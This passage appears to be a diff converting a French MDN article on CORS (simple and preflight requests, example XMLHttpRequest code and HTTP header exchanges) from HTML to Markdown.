href="http://arunranga.com/examples/access-control/">http://arunranga.com/examples/access-control/</a> et fonctionnent pour les navigateurs qui prennent en charge {{domxref("XMLHttpRequest")}} dans un contexte multi-site.</p> +Les fragments de code JavaScript (ainsi que les instances serveurs qui gèrent ces requêtes) se trouvent sur <http://arunranga.com/examples/access-control/> et fonctionnent pour les navigateurs qui prennent en charge {{domxref("XMLHttpRequest")}} dans un contexte multi-site. -<p>Un aperçu « côté serveur » des fonctionnalités CORS se trouve dans l'article <a href="/fr/docs/Web/HTTP/Server-Side_Access_Control">Contrôle d'accès côté serveur</a>.</p> +Un aperçu « côté serveur » des fonctionnalités CORS se trouve dans l'article [Contrôle d'accès côté serveur](/fr/docs/Web/HTTP/Server-Side_Access_Control). -<h3 id="Requêtes_simples">Requêtes simples</h3> +### Requêtes simples -<p>Certaines requêtes ne nécessitent pas de <a href="#preflight">requête CORS préliminaire</a>. Dans le reste de cet article, ce sont ce que nous appellerons des requêtes « simples » (bien que la spécification {{SpecName('Fetch')}} (qui définit le CORS) n'utilise pas ce terme). Une requête simple est une requête qui respecte les conditions suivantes :</p> +Certaines requêtes ne nécessitent pas de [requête CORS préliminaire](#preflight). Dans le reste de cet article, ce sont ce que nous appellerons des requêtes « simples » (bien que la spécification {{SpecName('Fetch')}} (qui définit le CORS) n'utilise pas ce terme). Une requête simple est une requête qui respecte les conditions suivantes : -<ul> - <li>Les seules méthodes autorisées sont : - <ul> - <li>{{HTTPMethod("GET")}}</li> - <li>{{HTTPMethod("HEAD")}}</li> - <li>{{HTTPMethod("POST")}}</li> - </ul> - </li> - <li>En dehors des en-têtes paramétrés automatiquement par l'agent utilisateur (tels que {{HTTPHeader("Connection")}}, {{HTTPHeader("User-Agent")}} ou <a href="https://fetch.spec.whatwg.org/#forbidden-header-name">tout autre en-tête dont le nom fait partie de la spécification Fetch comme « nom d'en-tête interdit »</a>), les seuls en-têtes qui peuvent être paramétrés manuellement sont, selon <a href="https://fetch.spec.whatwg.org/#cors-safelisted-request-header">la spécification</a> : - <ul> - <li>{{HTTPHeader("Accept")}}</li> - <li>{{HTTPHeader("Accept-Language")}}</li> - <li>{{HTTPHeader("Content-Language")}}</li> - <li>{{HTTPHeader("Content-Type")}} (cf. les contraintes supplémentaires ci-après)</li> - </ul> - </li> - <li>Les seules valeurs autorisées pour l'en-tête {{HTTPHeader("Content-Type")}} sont : - <ul> - <li><code>application/x-www-form-urlencoded</code></li> - <li><code>multipart/form-data</code></li> - <li><code>text/plain</code></li> - </ul> - </li> - <li>Aucun gestionnaire d'évènement n'est enregistré sur aucun des objets {{domxref("XMLHttpRequestUpload")}} utilisés pour la requête, on y accède via la propriété {{domxref("XMLHttpRequest.upload")}}.</li> - <li>Aucun objet {{domxref("ReadableStream")}} n'est utilisé dans la requête.</li> -</ul> +- Les seules méthodes autorisées sont : -<div class="note"> - <p><strong>Note :</strong> Cela correspond aux classes de requêtes généralement produites par du contenu web. Aucune donnée de réponse n'est envoyée au client qui a lancé la requête sauf si le serveur envoie un en-tête approprié. Aussi, les sites qui empêchent les requêtes étrangères falsifiées ne craignent rien de nouveau.</p> -</div> + - {{HTTPMethod("GET")}} + - {{HTTPMethod("HEAD")}} + - {{HTTPMethod("POST")}} -<div class="note"> - <p><strong>Note :</strong> WebKit Nightly et Safari Technology Preview ajoutent des restrictions supplémentaires pour les valeurs autorisées des en-têtes {{HTTPHeader("Accept")}}, {{HTTPHeader("Accept-Language")}} et {{HTTPHeader("Content-Language")}}. Si l'un de ces en-têtes a une valeur non-standard, WebKit/Safari considère que la requête ne correspond pas à une requête simple. Les valeurs considérées comme non-standard par WebKit/Safari ne sont pas documentées en dehors de ces bugs WebKit : <em><a href="https://bugs.webkit.org/show_bug.cgi?id=165178" rel="nofollow noreferrer">Require preflight for non-standard CORS-safelisted request headers Accept, Accept-Language, and Content-Language</a></em>, <em><a href="https://bugs.webkit.org/show_bug.cgi?id=165566" rel="nofollow noreferrer">Allow commas in Accept, Accept-Language, and Content-Language request headers for simple CORS</a></em> et <em><a href="https://bugs.webkit.org/show_bug.cgi?id=166363" rel="nofollow noreferrer">Switch to a blacklist model for restricted Accept headers in simple CORS requests</a></em>. Aucun autre navigateur n'implémente ces restrictions supplémentaires, car elles ne font pas partie de la spécification.</p> -</div> +- En dehors des en-têtes paramétrés automatiquement par l'agent utilisateur (tels que {{HTTPHeader("Connection")}}, {{HTTPHeader("User-Agent")}} ou [tout autre en-tête dont le nom fait partie de la spécification Fetch comme « nom d'en-tête interdit »](https://fetch.spec.whatwg.org/#forbidden-header-name)), les seuls en-têtes qui peuvent être paramétrés manuellement sont, selon [la spécification](https://fetch.spec.whatwg.org/#cors-safelisted-request-header) : -<p>Si, par exemple, on a un contenu web situé sous le domaine <code>http://toto.example</code> qui souhaite invoquer du contenu situé sous le domaine <code>http://truc.autre</code>, on pourrait utiliser du code JavaScript semblable à ce qui suit sur <code>toto.example</code> :</p> + - {{HTTPHeader("Accept")}} + - {{HTTPHeader("Accept-Language")}} + - {{HTTPHeader("Content-Language")}} + - {{HTTPHeader("Content-Type")}} (cf. les contraintes supplémentaires ci-après) -<pre class="brush: js">var invocation = new XMLHttpRequest(); +- Les seules valeurs autorisées pour l'en-tête {{HTTPHeader("Content-Type")}} sont : + + - `application/x-www-form-urlencoded` + - `multipart/form-data` + - `text/plain` + +- Aucun gestionnaire d'évènement n'est enregistré sur aucun des objets {{domxref("XMLHttpRequestUpload")}} utilisés pour la requête, on y accède via la propriété {{domxref("XMLHttpRequest.upload")}}. +- Aucun objet {{domxref("ReadableStream")}} n'est utilisé dans la requête. + +> **Note :** Cela correspond aux classes de requêtes généralement produites par du contenu web. Aucune donnée de réponse n'est envoyée au client qui a lancé la requête sauf si le serveur envoie un en-tête approprié. Aussi, les sites qui empêchent les requêtes étrangères falsifiées ne craignent rien de nouveau. + +> **Note :** WebKit Nightly et Safari Technology Preview ajoutent des restrictions supplémentaires pour les valeurs autorisées des en-têtes {{HTTPHeader("Accept")}}, {{HTTPHeader("Accept-Language")}} et {{HTTPHeader("Content-Language")}}. Si l'un de ces en-têtes a une valeur non-standard, WebKit/Safari considère que la requête ne correspond pas à une requête simple. Les valeurs considérées comme non-standard par WebKit/Safari ne sont pas documentées en dehors de ces bugs WebKit : _[Require preflight for non-standard CORS-safelisted request headers Accept, Accept-Language, and Content-Language](https://bugs.webkit.org/show_bug.cgi?id=165178)_, _[Allow commas in Accept, Accept-Language, and Content-Language request headers for simple CORS](https://bugs.webkit.org/show_bug.cgi?id=165566)_ et _[Switch to a blacklist model for restricted Accept headers in simple CORS requests](https://bugs.webkit.org/show_bug.cgi?id=166363)_. Aucun autre navigateur n'implémente ces restrictions supplémentaires, car elles ne font pas partie de la spécification. + +Si, par exemple, on a un contenu web situé sous le domaine `http://toto.example` qui souhaite invoquer du contenu situé sous le domaine `http://truc.autre`, on pourrait utiliser du code JavaScript semblable à ce qui suit sur `toto.example` : + +```js +var invocation = new XMLHttpRequest(); var url = 'http://truc.autre/resources/public-data/'; function callOtherDomain() { @@ -108,96 +98,89 @@ function callOtherDomain() { invocation.send(); } } -</pre> - -<p>Cela entraînera un échange simple entre le client et le serveur laissant aux en-têtes CORS le soin de gérer les privilèges d'accès :</p> - -<p><img alt="" src="simple-req-updated.png"></p> - -<p>Voyons dans le détail ce que le navigateur envoie au serveur et quelle sera sa réponse :</p> - -<pre>GET /resources/public-data/ HTTP/1.1 -Host: truc.autre -User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.1b3pre) Gecko/20081130 Minefield/3.1b3pre -Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 -Accept-Language: en-us,en;q=0.5 -Accept-Encoding: gzip,deflate -Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 -Connection: keep-alive -Referer: http://toto.example/exemples/access-control/simpleXSInvocation.html -Origin: http://toto.example - - -HTTP/1.1 200 OK -Date: Mon, 01 Dec 2008 00:23:53 GMT -Server: Apache/2.0.61 -Access-Control-Allow-Origin: * -Keep-Alive: timeout=2, max=100 -Connection: Keep-Alive -Transfer-Encoding: chunked -Content-Type: application/xml - -[XML Data] -</pre> - -<p>Les lignes 1 à 10 correspondent aux en-têtes envoyés. L'en-tête qui nous intéresse particulièrement ici est {{HTTPHeader("Origin")}}, situé à la ligne 10 : on y voit que l'invocation provient du domaine <code>http://toto.example</code>.</p> - -<p>Les lignes 13 à 22 détaillent la réponse HTTP du serveur situé sous le domaine <code>http://truc.autre</code>. Dans la réponse, le serveur renvoie un en-tête {{HTTPHeader("Access-Control-Allow-Origin")}} (visible à la ligne 16). On voit ici les en-têtes {{HTTPHeader("Origin")}} et {{HTTPHeader("Access-Control-Allow-Origin")}} pour un contrôle d'accès dans sa forme la plus simple. Ici, le serveur répond avec <code>Access-Control-Allow-Origin: *</code> ce qui signifie que la ressource peut être demandée par n'importe quel domaine. Si les propriétés de la ressource située sous <code>http://truc.autre</code> souhaitaient restreindre l'accès à la ressource à l'origine <code>http://toto.example</code>, ils auraient renvoyé :</p> - -<p><code>Access-Control-Allow-Origin: http://toto.example</code></p> - -<p>On notera que, dans ce cas, aucun autre domaine que <code>http://toto.example</code> (tel qu'identifié par l'en-tête <code>Origin</code>) ne pourra accéder à la ressource. L'en-tête <code>Access-Control-Allow-Origin</code> devrait contenir la valeur qui a été envoyée dans l'en-tête <code>Origin</code> de la requête.</p> - -<h3 id="Requêtes_nécessitant_une_requête_préliminaire">Requêtes nécessitant une requête préliminaire</h3> - -<p>À la différence des <a href="#simples">requêtes simples</a>, les requêtes préliminaires envoient d'abord une requête HTTP avec la méthode {{HTTPMethod("OPTIONS")}} vers la ressource de l'autre domaine afin de déterminer quelle requête peut être envoyée de façon sécurisée. Les requêtes entre différents sites peuvent notamment utiliser ce mécanisme de vérification préliminaire lorsque des données utilisateurs sont impliquées.</p> - -<p>Une requête devra être précédée d'une requête préliminaire si <strong>une</strong> des conditions suivantes est respectée :</p> - -<ul> - <li>La requête utilise une des méthodes suivantes : - <ul> - <li>{{HTTPMethod("PUT")}}</li> - <li>{{HTTPMethod("DELETE")}}</li> - <li>{{HTTPMethod("CONNECT")}}</li> - <li>{{HTTPMethod("OPTIONS")}}</li> - <li>{{HTTPMethod("TRACE")}}</li> - <li>{{HTTPMethod("PATCH")}}</li> - </ul> - </li> - <li><strong>Ou si</strong>, en dehors des en-têtes automatiquement paramétrés par l'agent utilisateur (comme {{HTTPHeader("Connection")}}, {{HTTPHeader("User-Agent")}} ou <a href="https://fetch.spec.whatwg.org/#forbidden-header-name">tout autre en-tête dont le nom est réservé dans la spécification</a>), la requête inclut <a href="https://fetch.spec.whatwg.org/#cors-safelisted-request-header">tout autre en-tête que ceux définis sur la liste blanche</a> : - <ul> - <li>{{HTTPHeader("Accept")}}</li> - <li>{{HTTPHeader("Accept-Language")}}</li> - <li>{{HTTPHeader("Content-Language")}}</li> - <li>{{HTTPHeader("Content-Type")}} (cf. les contraintes supplémentaires ci-après)</li> - <li>{{HTTPHeader("Last-Event-ID")}}</li> - <li><code><a href="http://httpwg.org/http-extensions/client-hints.html#dpr">DPR</a></code></li> - <li><code><a href="http://httpwg.org/http-extensions/client-hints.html#save-data">Save-Data</a></code></li> - <li><code><a href="http://httpwg.org/http-extensions/client-hints.html#viewport-width">Viewport-Width</a></code></li> - <li><code><a href="http://httpwg.org/http-extensions/client-hints.html#width">Width</a></code></li> - </ul> - </li> - <li><strong>Ou si</strong> l'en-tête {{HTTPHeader("Content-Type")}} possède une valeur autre que : - <ul> - <li><code>application/x-www-form-urlencoded</code></li> - <li><code>multipart/form-data</code></li> - <li><code>text/plain</code></li> - </ul> - </li> - <li><strong>Ou si</strong> un ou plusieurs gestionnaires d'évènements sont enregistrés sur l'objet {{domxref("XMLHttpRequestUpload")}} utilisé dans la requête.</li> - <li><strong>Ou si</strong> un objet {{domxref("ReadableStream")}} est utilisé dans la requête.</li> -</ul> - -<div class="note"> - <p><strong>Note :</strong> WebKit Nightly et Safari Technology Preview ajoutent des restrictions supplémentaires pour les valeurs autorisées des en-têtes {{HTTPHeader("Accept")}}, {{HTTPHeader("Accept-Language")}} et {{HTTPHeader("Content-Language")}}. Si l'un de ces en-têtes a une valeur non-standard, WebKit/Safari considère que la requête ne correspond pas à une requête simple. Les valeurs considérées comme non-standard par WebKit/Safari ne sont pas documentées en dehors de ces bugs WebKit : <em><a href="https://bugs.webkit.org/show_bug.cgi?id=165178" rel="nofollow noreferrer">Require preflight for non-standard CORS-safelisted request headers Accept, Accept-Language, and Content-Language</a></em>, <em><a href="https://bugs.webkit.org/show_bug.cgi?id=165566" rel="nofollow noreferrer">Allow commas in Accept, Accept-Language, and Content-Language request headers for simple CORS</a></em> et <em><a href="https://bugs.webkit.org/show_bug.cgi?id=166363" rel="nofollow noreferrer">Switch to a blacklist model for restricted Accept headers in simple CORS requests</a></em>. Aucun autre navigateur n'implémente ces restrictions supplémentaires, car elles ne font pas partie de la spécification.</p> -</div> - -<p>Voici un exemple d'une requête qui devra être précédée d'une requête préliminaire :</p> - -<pre class="brush: js">var invocation = new XMLHttpRequest(); +``` + +Cela entraînera un échange simple entre le client et le serveur laissant aux en-têtes CORS le soin de gérer les privilèges d'accès : + +![](simple-req-updated.png) + +Voyons dans le détail ce que le navigateur envoie au serveur et quelle sera sa réponse : + + GET /resources/public-data/ HTTP/1.1 + Host: truc.autre + User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.1b3pre) Gecko/20081130 Minefield/3.1b3pre + Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 + Accept-Language: en-us,en;q=0.5 + Accept-Encoding: gzip,deflate + Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 + Connection: keep-alive + Referer: http://toto.example/exemples/access-control/simpleXSInvocation.html + Origin: http://toto.example + + + HTTP/1.1 200 OK + Date: Mon, 01 Dec 2008 00:23:53 GMT + Server: Apache/2.0.61 + Access-Control-Allow-Origin: * + Keep-Alive: timeout=2, max=100 + Connection: Keep-Alive + Transfer-Encoding: chunked + Content-Type: application/xml + + [XML Data] + +Les lignes 1 à 10 correspondent aux en-têtes envoyés. L'en-tête qui nous intéresse particulièrement ici est {{HTTPHeader("Origin")}}, situé à la ligne 10 : on y voit que l'invocation provient du domaine `http://toto.example`. + +Les lignes 13 à 22 détaillent la réponse HTTP du serveur situé sous le domaine `http://truc.autre`. Dans la réponse, le serveur renvoie un en-tête {{HTTPHeader("Access-Control-Allow-Origin")}} (visible à la ligne 16). On voit ici les en-têtes {{HTTPHeader("Origin")}} et {{HTTPHeader("Access-Control-Allow-Origin")}} pour un contrôle d'accès dans sa forme la plus simple. Ici, le serveur répond avec `Access-Control-Allow-Origin: *` ce qui signifie que la ressource peut être demandée par n'importe quel domaine. Si les propriétés de la ressource située sous `http://truc.autre` souhaitaient restreindre l'accès à la ressource à l'origine `http://toto.example`, ils auraient renvoyé : + +`Access-Control-Allow-Origin: http://toto.example` + +On notera que, dans ce cas, aucun autre domaine que `http://toto.example` (tel qu'identifié par l'en-tête `Origin`) ne pourra accéder à la ressource. L'en-tête `Access-Control-Allow-Origin` devrait contenir la valeur qui a été envoyée dans l'en-tête `Origin` de la requête. + +### Requêtes nécessitant une requête préliminaire + +À la différence des [requêtes simples](#simples), les requêtes préliminaires envoient d'abord une requête HTTP avec la méthode {{HTTPMethod("OPTIONS")}} vers la ressource de l'autre domaine afin de déterminer quelle requête peut être envoyée de façon sécurisée. Les requêtes entre différents sites peuvent notamment utiliser ce mécanisme de vérification préliminaire lorsque des données utilisateurs sont impliquées. + +Une requête devra être précédée d'une requête préliminaire si **une** des conditions suivantes est respectée : + +- La requête utilise une des méthodes suivantes : + + - {{HTTPMethod("PUT")}} + - {{HTTPMethod("DELETE")}} + - {{HTTPMethod("CONNECT")}} + - {{HTTPMethod("OPTIONS")}} + - {{HTTPMethod("TRACE")}} + - {{HTTPMethod("PATCH")}} + +- **Ou si**, en dehors des en-têtes automatiquement paramétrés par l'agent utilisateur (comme {{HTTPHeader("Connection")}}, {{HTTPHeader("User-Agent")}} ou [tout autre en-tête dont le nom est réservé dans la spécification](https://fetch.spec.whatwg.org/#forbidden-header-name)), la requête inclut [tout autre en-tête que ceux définis sur la liste blanche](https://fetch.spec.whatwg.org/#cors-safelisted-request-header) : + + - {{HTTPHeader("Accept")}} + - {{HTTPHeader("Accept-Language")}} + - {{HTTPHeader("Content-Language")}} + - {{HTTPHeader("Content-Type")}} (cf. les contraintes supplémentaires ci-après) + - {{HTTPHeader("Last-Event-ID")}} + - [`DPR`](http://httpwg.org/http-extensions/client-hints.html#dpr) + - [`Save-Data`](http://httpwg.org/http-extensions/client-hints.html#save-data) + - [`Viewport-Width`](http://httpwg.org/http-extensions/client-hints.html#viewport-width) + - [`Width`](http://httpwg.org/http-extensions/client-hints.html#width) + +- **Ou si** l'en-tête {{HTTPHeader("Content-Type")}} possède une valeur autre que : + + - `application/x-www-form-urlencoded` + - `multipart/form-data` + - `text/plain` + +- **Ou si** un ou plusieurs gestionnaires d'évènements sont enregistrés sur l'objet {{domxref("XMLHttpRequestUpload")}} utilisé dans la requête. +- **Ou si** un objet {{domxref("ReadableStream")}} est utilisé dans la requête. + +> **Note :** WebKit Nightly et Safari Technology Preview ajoutent des restrictions supplémentaires pour les valeurs autorisées des en-têtes {{HTTPHeader("Accept")}}, {{HTTPHeader("Accept-Language")}} et {{HTTPHeader("Content-Language")}}. Si l'un de ces en-têtes a une valeur non-standard, WebKit/Safari considère que la requête ne correspond pas à une requête simple. Les valeurs considérées comme non-standard par WebKit/Safari ne sont pas documentées en dehors de ces bugs WebKit : _[Require preflight for non-standard CORS-safelisted request headers Accept, Accept-Language, and Content-Language](https://bugs.webkit.org/show_bug.cgi?id=165178)_, _[Allow commas in Accept, Accept-Language, and Content-Language request headers for simple CORS](https://bugs.webkit.org/show_bug.cgi?id=165566)_ et _[Switch to a blacklist model for restricted Accept headers in simple CORS requests](https://bugs.webkit.org/show_bug.cgi?id=166363)_. Aucun autre navigateur n'implémente ces restrictions supplémentaires, car elles ne font pas partie de la spécification. + +Voici un exemple d'une requête qui devra être précédée d'une requête préliminaire : + +```js +var invocation = new XMLHttpRequest(); var url = 'http://truc.autre/resources/post-here/'; -var body = '<?xml version="1.0"?><personne><nom>Toto</nom></personne>'; +var body = '<?xml version="1.0"?><personne><nom>Toto</nom></personne>'; function callOtherDomain(){ if(invocation) @@ -211,139 +194,127 @@ function callOtherDomain(){ } ...... -</pre> - -<p>Dans le fragment de code ci-avant, à la ligne 3, on crée un corps XML envoyé avec la requête <code>POST</code> ligne 8. Sur la ligne 9, on voit également un en-tête de requête HTTP non standard : <code>X-PINGOTHER: pingpong</code>. De tels en-têtes ne sont pas décrits par le protocole HTTP/1.1 mais peuvent être utilisés par les applications web. La requête utilisant un en-tête <code>Content-Type</code> qui vaut <code>application/xml</code> et un en-tête spécifique, il est nécessaire d'envoyer au préalable une requête préliminaire.</p> - -<p><img alt="" src="preflight_correct.png"></p> - -<div class="note"> -<p><strong>Note :</strong> Comme décrit après, la vraie requête POST n'inclut pas les en-têtes <code>Access-Control-Request-*</code> qui sont uniquement nécessaires pour la requête OPTIONS.</p> -</div> +``` + +Dans le fragment de code ci-avant, à la ligne 3, on crée un corps XML envoyé avec la requête `POST` ligne 8. Sur la ligne 9, on voit également un en-tête de requête HTTP non standard : `X-PINGOTHER: pingpong`. De tels en-têtes ne sont pas décrits par le protocole HTTP/1.1 mais peuvent être utilisés par les applications web. La requête utilisant un en-tête `Content-Type` qui vaut `application/xml` et un en-tête spécifique, il est nécessaire d'envoyer au préalable une requête préliminaire. -<p>Voyons ce qui se passe entre le client et le serveur. Le premier échange est la requête/réponse préliminaire :</p> +![](preflight_correct.png) -<pre>OPTIONS /resources/post-here/ HTTP/1.1 -Host: truc.autre -User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.1b3pre) Gecko/20081130 Minefield/3.1b3pre -Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 -Accept-Language: en-us,en;q=0.5 -Accept-Encoding: gzip,deflate -Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 -Connection: keep-alive -Origin: http://toto.example -Access-Control-Request-Method: POST -Access-Control-Request-Headers: X-PINGOTHER, Content-Type +> **Note :** Comme décrit après, la vraie requête POST n'inclut pas les en-têtes `Access-Control-Request-*` qui sont uniquement nécessaires pour la requête OPTIONS. +Voyons ce qui se passe entre le client et le serveur. Le premier échange est la requête/réponse préliminaire : -HTTP/1.1 200 OK -Date: Mon, 01 Dec 2008 01:15:39 GMT -Server: Apache/2.0.61 (Unix) -Access-Control-Allow-Origin: http://toto.example -Access-Control-Allow-Methods: POST, GET -Access-Control-Allow-Headers: X-PINGOTHER, Content-Type -Access-Control-Max-Age: 86400 -Vary: Accept-Encoding, Origin -Content-Encoding: gzip -Content-Length: 0 -Keep-Alive: timeout=2, max=100 -Connection: Keep-Alive -Content-Type: text/plain -</pre> + OPTIONS /resources/post-here/ HTTP/1.1 + Host: truc.autre + User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.1b3pre) Gecko/20081130 Minefield/3.1b3pre + Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 + Accept-Language: en-us,en;q=0.5 + Accept-Encoding: gzip,deflate + Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 + Connection: keep-alive + Origin: http://toto.example + Access-Control-Request-Method: POST + Access-Control-Request-Headers: X-PINGOTHER, Content-Type -<p>Une fois que la requête préliminaire est effectuée, la requête principale est envoyée :</p> -<pre>POST /resources/post-here/ HTTP/1.1 -Host: truc.autre -User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.1b3pre) Gecko/20081130 Minefield/3.1b3pre -Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 -Accept-Language: en-us,en;q=0.5 -Accept-Encoding: gzip,deflate -Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 -Connection: keep-alive -X-PINGOTHER: pingpong -Content-Type: text/xml; charset=UTF-8 -Referer: http://toto.example/exemples/preflightInvocation.html -Content-Length: 55 -Origin: http://toto.example -Pragma: no-cache -Cache-Control: no-cache + HTTP/1.1 200 OK + Date: Mon, 01 Dec 2008 01:15:39 GMT + Server: Apache/2.0.61 (Unix) + Access-Control-Allow-Origin: http://toto.example + Access-Control-Allow-Methods: POST, GET + Access-Control-Allow-Headers: X-PINGOTHER, Content-Type + Access-Control-Max-Age: 86400 + Vary: Accept-Encoding, Origin + Content-Encoding: gzip + Content-Length: 0 + Keep-Alive: timeout=2, max=100 + Connection: Keep-Alive + Content-Type: text/plain -<?xml version="1.0"?><personne><nom>Toto</nom></personne> +Une fois que la requête préliminaire est effectuée, la requête principale est envoyée : + POST /resources/post-here/ HTTP/1.1 + Host: truc.autre + User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.1b3pre) Gecko/20081130 Minefield/3.1b3pre + Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 + Accept-Language: en-us,en;q=0.5 + Accept-Encoding: gzip,deflate + Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 + Connection: keep-alive + X-PINGOTHER: pingpong + Content-Type: text/xml; charset=UTF-8 + Referer: http://toto.example/exemples/preflightInvocation.html + Content-Length: 55 + Origin: http://toto.example + Pragma: no-cache + Cache-Control: no-cache -HTTP/1.1 200 OK -Date: Mon, 01 Dec 2008 01:15:40 GMT -Server: Apache/2.0.61 (Unix) -Access-Control-Allow-Origin: http://toto.example -Vary: Accept-Encoding, Origin -Content-Encoding: gzip -Content-Length: 235 -Keep-Alive: timeout=2, max=99 -Connection: Keep-Alive -Content-Type: text/plain + <?xml version="1.0"?><personne><nom>Toto</nom></personne> -[Une charge utile GZIPée] -</pre> -<p>Entre les lignes 1 à 12 qui précèdent, on voit la requête préliminaire avec la méthode {{HTTPMethod("OPTIONS")}}. Le navigateur détermine qu'il est nécessaire d'envoyer cela à cause des paramètres de la requête fournie par le code JavaScript. De cette façon le serveur peut répondre si la requête principale est acceptable et avec quels paramètres. OPTIONS est une méthode HTTP/1.1 qui est utilisée afin de déterminer de plus amples informations à propos du serveur. La méthode OPTIONS est une méthode « sûre » (<em>safe</em>) et ne change aucune ressource. On notera, qu'avec la requête OPTIONS, deux autres en-têtes sont envoyés (cf. lignes 10 et 11) :</p> + HTTP/1.1 200 OK + Date: Mon, 01 Dec 2008 01:15:40 GMT + Server: Apache/2.0.61 (Unix) + Access-Control-Allow-Origin: http://toto.example + Vary: Accept-Encoding, Origin + Content-Encoding: gzip + Content-Length: 235 + Keep-Alive: timeout=2, max=99 + Connection: Keep-Alive + Content-Type: text/plain -<pre>Access-Control-Request-Method: POST -Access-Control-Request-Headers: X-PINGOTHER, Content-Type -</pre> + [Une charge utile GZIPée] -<p>L'en-tête {{HTTPHeader("Access-Control-Request-Method")}} indique au serveur, pendant la requête préliminaire, que la requête principale sera envoyée avec la méthode <code>POST</code>. L'en-tête {{HTTPHeader("Access-Control-Request-Headers")}} indique au serveur que la requête principale sera envoyée avec un en-tête <code>X-PINGOTHER</code> et un en-tête <code>Content-Type</code> spécifique. Le serveur peut alors déterminer s'il souhaite accepter une telle requête.</p> +Entre les lignes 1 à 12 qui précèdent, on voit la requête préliminaire avec la méthode {{HTTPMethod("OPTIONS")}}. Le navigateur détermine qu'il est nécessaire d'envoyer cela à cause des paramètres de la requête fournie par le code JavaScript. De cette façon le serveur peut répondre si la requête principale est acceptable et avec quels paramètres. OPTIONS est une méthode HTTP/1.1 qui est utilisée afin de déterminer de plus amples informations à propos du serveur. La méthode OPTIONS est une méthode « sûre » (_safe_) et ne change aucune ressource. On notera, qu'avec la requête OPTIONS, deux autres en-têtes sont envoyés (cf. lignes 10 et 11) : -<p>Dans les lignes 14 à 26 qui suivent, on voit la réponse renvoyée par le serveur qui indique que la méthode de la requête (<code>POST</code>) ainsi que ses en-têtes (<code>X-PINGOTHER</code>) sont acceptables. Voici ce qu'on peut notamment lire entre les lignes 17 et 20 :</p> + Access-Control-Request-Method: POST + Access-Control-Request-Headers: X-PINGOTHER, Content-Type -<pre>Access-Control-Allow-Origin: http://toto.example -Access-Control-Allow-Methods: POST, GET -Access-Control-Allow-Headers: X-PINGOTHER, Content-Type -Access-Control-Max-Age: 86400</pre> +L'en-tête {{HTTPHeader("Access-Control-Request-Method")}} indique au serveur, pendant la requête préliminaire, que la requête principale sera envoyée avec la méthode `POST`. L'en-tête {{HTTPHeader("Access-Control-Request-Headers")}} indique au serveur que la requête principale sera envoyée avec un en-tête `X-PINGOTHER` et un en-tête `Content-Type` spécifique. Le serveur peut alors déterminer s'il souhaite accepter une telle requête. -<p>Le serveur répond avec un en-tête <code>Access-Control-Allow-Methods</code> et indique que les méthodes <code>POST</code> et <code>GET</code> sont acceptables pour manipuler la ressource visée. On notera que cet en-tête est semblable à l'en-tête de réponse {{HTTPHeader("Allow")}}, toutefois, <code>Access-Control-Allow-Methods</code> est uniquement utilisé dans le cadre du contrôle d'accès.</p> +Dans les lignes 14 à 26 qui suivent, on voit la réponse renvoyée par le serveur qui indique que la méthode de la requête (`POST`) ainsi que ses en-têtes (`X-PINGOTHER`) sont acceptables. Voici ce qu'on peut notamment lire entre les lignes 17 et 20 : -<p>Le serveur envoie également l'en-tête <code>Access-Control-Allow-Headers</code> avec une valeur "<code>X-PINGOTHER, Content-Type</code>" qui confirme que les en-têtes souhaités sont autorisés pour la requête principale. Comme <code>Access-Control-Allow-Methods</code>, <code>Access-Control-Allow-Headers</code> est une liste d'en-têtes acceptables séparés par des virgules.</p> + Access-Control-Allow-Origin: http://toto.example + Access-Control-Allow-Methods: POST, GET + Access-Control-Allow-Headers: X-PINGOTHER, Content-Type + Access-Control-Max-Age: 86400 -<p>Enfin, l'en-tête {{HTTPHeader("Access-Control-Max-Age")}} indique avec une valeur exprimée en secondes, la durée pendant laquelle cette réponse préliminaire peut être mise en cache avant la prochaine requête préliminaire. Ici, la réponse est 86400 secondes, ce qui correspond à 24 heures. On notera ici que chaque navigateur possède<a href="/fr/docs/Web/HTTP/Headers/Access-Control-Max-Age"> un maximum interne</a> qui a la priorité lorsque <code>Access-Control-Max-Age</code> lui est supérieur.</p> +Le serveur répond avec un en-tête `Access-Control-Allow-Methods` et indique que les méthodes `POST` et `GET` sont acceptables pour manipuler la ressource visée. On notera que cet en-tête est semblable à l'en-tête de réponse {{HTTPHeader("Allow")}}, toutefois, `Access-Control-Allow-Methods` est uniquement utilisé dans le cadre du contrôle d'accès. -<h4 id="Requêtes_préliminaires_et_redirection">Requêtes préliminaires et redirection</h4> +Le serveur envoie également l'en-tête `Access-Control-Allow-Headers` avec une valeur "`X-PINGOTHER, Content-Type`" qui confirme que les en-têtes souhaités sont autorisés pour la requête principale. Comme `Access-Control-Allow-Methods`, `Access-Control-Allow-Headers` est une liste d'en-têtes acceptables séparés par des virgules. -<p>À l'heure actuelle, la plupart des navigateurs ne prennent pas en charge les redirections pour les requêtes préliminaires. Si une redirection se produit pour une requête préliminaire, la plupart des navigateurs émettront un message d'erreur semblables à ceux-ci.</p> +Enfin, l'en-tête {{HTTPHeader("Access-Control-Max-Age")}} indique avec une valeur exprimée en secondes, la durée pendant laquelle cette réponse préliminaire peut être mise en cache avant la prochaine requête préliminaire. Ici, la réponse est 86400 secondes, ce qui correspond à 24 heures. On notera ici que chaque 